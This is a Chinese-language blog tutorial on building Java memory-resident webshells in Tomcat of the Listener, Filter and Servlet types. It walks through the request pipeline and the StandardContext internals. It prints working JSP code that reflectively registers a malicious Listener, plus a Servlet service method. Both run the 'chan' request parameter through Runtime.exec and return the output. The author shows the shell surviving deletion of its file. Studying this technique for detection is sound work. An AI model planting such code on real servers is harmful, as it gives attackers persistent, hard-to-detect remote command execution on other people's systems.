前言
最近在学这个内存马,就做一个记录,说实话这个内存马还是有点难度的。
什么是内存马
首先什么是内存马呢,顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了,而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。
内存马的分类
传统的内存马主要分为三类,分别是Servlet型、Filter型、Listener型。我们主要讲的就这三种,其它的也有,但是我不会,哈哈哈。
JAVA Web访问流程
首先我们要了解一下JAVA Web的访问流程,这是我网上找的一张图,哈哈哈。正常我们认为的客户端去请求一个1.jsp文件,然后服务端就直接返回1.jsp,在PHP中也许是这样子,但是在JAVA中其实不是这样的。
1、我们去请求一个1.jsp
2、经过Listener组件,如果存在的话
3、经过Filter组件,如果存在的话
4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由
最后就是去访问1.jsp这文件。
从上面我们得知,Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理 HTTP 请求并生成动态响应。
Listener内存马
接下来手搓一个内存马,这里先创建一个项目,就叫ListenerShell。
我这里选择Java8,选个web服务,点击创建即可。
创建一个类叫Test。
在Web.xml这里配置一个Listener监听器,指向我们的Test文件。
Test里面写入以下的代码,看不懂没关系,就是当你发起请求的时候,Servlet就会被激活,那么此时我们就创建了一个Listener 并输出 requestInitialized ,当请求结束的时候也就会输出requestDestroyed。
public class Test implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}
出现这个页面就说明我们运行成功了。
可以看到只要我们一访问运行起来的网址,就会输出上面我们所说的结果,说明我们的请求是经过Listener,最终到达Servlet。
如果我们把输出语句改为命令执行语句,不就实现了一个webshell的功能了吗?我们在原来的输出语句下面添加一个打开计算机的命令。
可以看到只要我一访问那么就会弹出计算机来。
那么实际上,Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存并同时生效。
为了搞清楚 listener 是咋把我们创建的类加载到内存中的,我们在下面这个地方下断点进行调试。
选择调试运行,可以看到项目一启动就已经端下来了,我都还没访问网页呢,也就是说先执行 requestInitialized 再去请求网站。
步入我们可以看到这里listener的值为Test,但是Test是怎么来的,我们继续往下分析。
继续步入可以看到 这个 applicationListener 的值为 com.sf.maven.listenershell.Test,说明这时候Listener监听器就已经知道要指向 Test了,同时可以知道 applicationListener 是来源于 CopyOnWriteArrayList。
而 CopyOnWriteArrayList 上级是来源于 context ,这里 context来源于 StandardContext 这个类里面。
这个类是比较关键的,我们可以来看一下它的功能
1、Servlet 和 Filter 管理:StandardContext 负责管理应用程序中的 Servlet 和 Filter 的生命周期。可以添加、移除和配置 Servlet 和 Filter。
2、会话管理:提供会话管理功能,包括会话的创建、销毁和持久化。配置会话超时时间和其他会话相关属性。
3、资源管理:管理应用程序的资源,如 JAR 文件、静态文件等。支持对资源的访问控制和缓存。4、事件监听器:支持注册各种事件监听器,如 ServletContextListener、ServletRequestListener 等。监听并处理应用程序的生命周期事件和请求事件。
5、安全性和认证:提供安全配置选项,包括用户认证、角色授权和安全约束。支持多种认证方式,如基本认证、表单认证等。
6、部署和配置:从 web.xml 或注解中读取和应用配置。支持热部署和自动重新加载。
7、日志记录:提供日志记录功能,方便调试和监控。
重点看第一点和第四点,StandardContext这个类可以注册Servlet、Filter以及各种Listener!!!
而且在StandardContext类里面可以看到一个 addApplicationEventListener 方法,实际上我们上面的Test监听器,就是通过这个方法添加的。
那么接下来我们来要做的就是如何获取StandardContext 这个类的context,直接从网上找的获取代码。
通过request方式获取
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
%>
通过ServletContext方式获取
<%
//创建ServletContext 为了获取访问的信息的context
ServletContext servletContext = request.getServletContext();//反射调用ApplicationContext#context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);//反射调用StandardContext#context
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
TestLIstener testLIstener = new TestLIstener();
standardContext.addApplicationEventListener(testLIstener);
%>
通过ContextClassLoader方式获取
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
到这里估计大家也明白是如何手搓的了,就是定义一个恶意的Listener,再通过StandardContext把监听器注册到内存中去。
下面我就来演示一下,新建一个JSP文件。
这是网上找的恶意Listener,也就是内存马,写入到test1.JSP。
<%//定义了一个恶意的Listenerclass WLWListener implements ServletRequestListener{@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {try{RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();Field field = requestfacade.getClass().getDeclaredField("request");field.setAccessible(true);Request lrequest = (Request) field.get(requestfacade);Response lresponse = lrequest.getResponse();if(lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}}catch(Exception ig){ig.printStackTrace();}}}
%>
这里就是加载代码,去注册我们上面定义好的Listener,同样是去写入到test1.JSP。
<%//通过获取StandardContext类中的context,注册一个新的ListenerField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();WLWListener wlwListener = new WLWListener();context.addApplicationEventListener(wlwListener);
%>
现在运行项目,访问我们的test1.jsp,可以看到是空白的,但是内存马已经植入成功。
然后执行命令calc,成功弹出计算机!!!
此时我们把内存马删除掉。
可以看到此时是访问不到我们的test1.jsp的。
但是依旧能执行命令,只需重启一下就执行不了命令了。
Filter内存马
同样新建一个项目,流程是和上面一样的,这里我就不多说了,新建一个Test类,写入以下代码。
package com.sf.maven.filtershell;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class Test implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("init");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse response, FilterChain chain) throws IOException, ServletException {System.out.println("doFilter");}@Overridepublic void destroy() {System.out.println("destroy");}
}
Web.xml配置如下,运行的时候就会加载这个Test过滤器。
#Filter 过滤器实现:
-web.xml定义name和class
-web.xml定义name和url路由
-编写class下init,doFilter,destroy方法
<filter><filter-name>Test</filter-name><filter-class>com.sf.maven.filtershell.Test</filter-class></filter><filter-mapping><filter-name>Test</filter-name><url-pattern>Test</url-pattern></filter-mapping>
可以看到项目运行起来就输出init,说明init方法被执行了。
有人可能就注意到了,为啥 doFilter 和 destroy方法没有被执行呢,其实是这样的当我们访问 /Test这个路由,我们才会触发这个 filter-name ,而filter-name又绑定了 com.sf.maven.filtershell.Test 这个类。
浏览器访问 /Test。
触发了doFilter。
最后一个 destroy 就是当我们项目结束就会执行。
此时我们来梳理一下流程:
程序运行自动执行init
Servlet获取访问 URL,从 URL 中判断是否匹配路由,如果匹配就执行doFilter
如触发过滤分析 Filter 名称,路由,触发 Class,
则会相应的去执行 init,doFilter,destroy 方法。
结论:触发路由后执行 doFilter,不触发路由也会执行init
断点调试前我们先修改一下路由,改为 /* 意思是只要一访问网站就会触发doFilter。
doFilter这里设置断点调试,为的就是搞清楚下面两件事情:
1、filter是如何把我们创建的类加载到内存中的
2、我们如何通过java代码把我们自定义的filter类加载到内存中
我们上面在分析listener的时候,只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的,这就是filter内存马和listener内存马编写的区别。
看这里,filterMaps获取了filterName的值为Test,还有urlPattern的值为 /* ,filterDefs获取了filterClass的值,filterConfigs获取name的值。
也就是说 filterMaps 存放了filter别名和路由,filterDefs 存放了filter类指向和filter别名,filterConfigs 存放了一些配置信息。
filterMaps ,filterDefs,filterConfigs这三个的上级调用是context,context是来自StandardContext这个类。
简单总结一下:
ApplicationFilterConfig用来存储Filter配置信息
StandardContext用来处理 Filter配置信息(有无操作)
而filter创建需要filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例
对应方法分别是 filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName 这里实际上还要传入我们创建的filter实例,这是通过setfilter传入,我们要先配置好这些,把filterDef和filterMap写入StandardContext#context中,然后在filterconfig中有StandardContext#context和filterDef,我们也要添加最后获取filterconfigs,把filterconfig写入,大致的思路就是这样。
那么我们手搓内存马的流程就是:
1、创建filter对象
2、获取StandardContext#context
3、配置filterDef并添加
4、配置filterMap并添加
5、反射创建FilterConfig,传入standardContext与filterDef
6、获取filterConfigs,并且转换成map类型
7、把filter名和配置好的filterConfig传入filterConfings
还是一样新建一个1.jsp,写入以下代码获取所需要的字段,context、filterConfig。
这一部分的代码就是创建一个新的Filter,和上面的Test类一样的,不多讲。
这一部分代码就是配置上诉我们说的东西,名称、Class、url路由。
把Filter注册到内存。
成功弹出计算机,这里要注意执行命令的路径要加上你都路由才行。
Servlet内存马
剩下最后一个了,坚持下去。
老规矩新建一个项目,和上面一模一样,创建一个Test类,写入下面的代码。
package com.sf.maven.servletshell;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Test extends HttpServlet {@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {super.service(req,res);System.out.println("service");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doPut");}@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doGet"); }@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("dopost");}
}
Web.xml文件配置如下,其实和 Filter 差不多,也都是配置路由,Class。
运行起来后我们随便访问都行,显示405状态。
但是输出了doGet,说明我们调用了doGet这个方法,这里我也不卖关子了,你用post方法去请求URL那么就会调用doPost,输出doPost,doPut方法也是如此。
Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
这里我就不一步一步跟踪了,直接说流程吧:
-
创建servlet
-
获取StandardContext#context
-
创建wrapper并写入servlet信息
-
添加wrapper并添加路由信息
创建一个1.jsp,和上面的Test差不多,只是这里service不是输出了,而是创建一个新的Servlet。
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {HttpServletRequest lrequest = (HttpServletRequest) servletRequest;HttpServletResponse lresponse = (HttpServletResponse) servletResponse;if (lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}else{lresponse.sendError(HttpServletResponse.SC_NOT_FOUND);}}
这部分和Filter的差不多,都是为了获取StandardContext#context。
这里就是创建wrapper并写入servlet信息,添加wrapper并添加路由信息。
先访问1.jsp注册新的Servlet,在到相对应的路由下面执行命令即可。
总结
至此结束